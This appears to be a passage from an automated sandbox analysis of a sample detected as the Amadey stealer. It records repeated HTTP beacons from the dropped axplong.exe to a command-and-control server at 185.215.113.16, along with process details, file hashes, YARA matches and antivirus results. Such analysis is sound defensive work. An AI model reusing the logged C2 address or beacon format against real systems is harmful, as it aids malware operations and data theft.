Sep 26, 2024 17:07:02.426983118 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:02.784313917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	55705	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:02.901293039 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:03.600759029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	55706	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:03.611223936 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:04.307177067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	55707	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:04.420551062 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:05.139678955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:07:05.153896093 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:05.382577896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	55708	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:05.496049881 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:06.197098017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	55709	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:06.206257105 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:07.033999920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	55710	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:07.157963037 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:07.851278067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:07:08.083271980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	55711	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:08.085304022 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:08.792346001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	55712	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:08.902327061 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:09.606389046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:07:09.611402035 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:09.839040995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	55713	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:10.652206898 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:11.361682892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	55714	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:11.371324062 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:12.076751947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	55715	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:12.199443102 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:07:12.920315981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	55716	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:07:12.929547071 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:07:13.653835058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	11:05:05
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x500000
File size:	1'913'344 bytes
MD5 hash:	EE97C42201B1BF6C1B166B5EF8EE88B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1726972956.0000000004980000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1767879458.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:05:08
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x2b0000
File size:	1'913'344 bytes
MD5 hash:	EE97C42201B1BF6C1B166B5EF8EE88B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1755618042.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1795993129.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:05:08
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x2b0000
File size:	1'913'344 bytes
MD5 hash:	EE97C42201B1BF6C1B166B5EF8EE88B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1759465892.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1799745219.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:06:00
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x2b0000
File size:	1'913'344 bytes
MD5 hash:	EE97C42201B1BF6C1B166B5EF8EE88B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2268716495.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 04BA02BB Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b80e07321de0b92f6df37930872d6708e97c4eecfc20e94f169680eb408abb59
Instruction ID: 5bbb1488c2621ccf3abd4a7cd86df9681aba4bf0a75225c996c934274a176918
Opcode Fuzzy Hash: b80e07321de0b92f6df37930872d6708e97c4eecfc20e94f169680eb408abb59
Instruction Fuzzy Hash: B90175E634D210FF6042AD49575057626AAE5DF270F7080D6B007D9642F6956E757021

Function 04BA02D8 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a37f2d4f011a4d81a703b9018ad8333eb2d5e544d3136277a8f8104515632a84
Instruction ID: 8928fcef01f8a30b17c9db13c00cabc0001dac5c1ead8336cbb59fd67074cf3d
Opcode Fuzzy Hash: a37f2d4f011a4d81a703b9018ad8333eb2d5e544d3136277a8f8104515632a84
Instruction Fuzzy Hash: B8116AA370D240FFA242AE4456545B57BB9FADF230B3080DBF043CE543F6596A75B122

Function 04BA02CC Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d72d20b073ab5bed5fbf5b1085cc5fde9ad9ff6ff0867c2df269ac40f0447c9
Instruction ID: a5dcc09b3f5cdc151d6efde549ddaccb6b2bf992261ee1a36cb5572fe59b81a4
Opcode Fuzzy Hash: 6d72d20b073ab5bed5fbf5b1085cc5fde9ad9ff6ff0867c2df269ac40f0447c9
Instruction Fuzzy Hash: 4601D8E734D210FF6042AD4957505B626AEF5DF230F70C0D6F007D9A42F6956EB57022

Function 04BA02EF Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aad3240f1caaf524bb3cdb468578f0edfad75883ba303a18af41aaec0230bd0f
Instruction ID: b2880d1171078535a145ce713b4fabea5a80dd32fb46bf8153b43badaeeb5a0d
Opcode Fuzzy Hash: aad3240f1caaf524bb3cdb468578f0edfad75883ba303a18af41aaec0230bd0f
Instruction Fuzzy Hash: F401D4B734D100FF6052AE4557505BA26AAFADF630B30C0E6F047D9A43F6A56EB67022

Function 04BA030F Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea5d9704f52f1d8b227131e0121201aa88f1e4901e51670ceccddbb39cbb862b
Instruction ID: e269c44e9bff5553aad2f8a5ef35b2b37ee8a2128615dc33f1e2c62383d8b735
Opcode Fuzzy Hash: ea5d9704f52f1d8b227131e0121201aa88f1e4901e51670ceccddbb39cbb862b
Instruction Fuzzy Hash: F301F9B630D241EFE202AA4857149763BA5EADB230B3084E6F003D6543E6559DA57121

Function 04BA038C Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd3d190905ac209afe6ca4a2903f65e4fd4f3bf4e7993312564a214480e8f943
Instruction ID: 0b56bf46feada47464cc9cdec38200fa0544697ba2f5ac087d2d8b5a1841bba2
Opcode Fuzzy Hash: cd3d190905ac209afe6ca4a2903f65e4fd4f3bf4e7993312564a214480e8f943
Instruction Fuzzy Hash: DEF022E734D010BE6016FD856A586F62ABAE1DF670630C496F043D4903B545AEFA3021

Function 04BA0372 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acb747c8595e5631cadc74c63073d37cae507ef7208f570301ed78fd328e784a
Instruction ID: 828b87d82e9dbe90a9b6b16e1975c20b97c0e4b72def9c8b4993d394132cae1e
Opcode Fuzzy Hash: acb747c8595e5631cadc74c63073d37cae507ef7208f570301ed78fd328e784a
Instruction Fuzzy Hash: 4FF081A734D111BF6052AD4927545B62AA9F5EE670B30C0A6F007DA503F5896EBA7021

Function 04BA035C Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4625f6d0dacecb93b0e8105dcf4ddec6340aaebee05d0cb450af0617fea904a
Instruction ID: ae3c2653f34ef330c8caf2befef429a58817ffa6d58c192e8d4cf33af38c4ca6
Opcode Fuzzy Hash: e4625f6d0dacecb93b0e8105dcf4ddec6340aaebee05d0cb450af0617fea904a
Instruction Fuzzy Hash: 03F0E9EB74D110BE6051F98567586BA2A6AF5DF670730C4A6F003D4543B5859EFA3031

Function 04BA034A Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
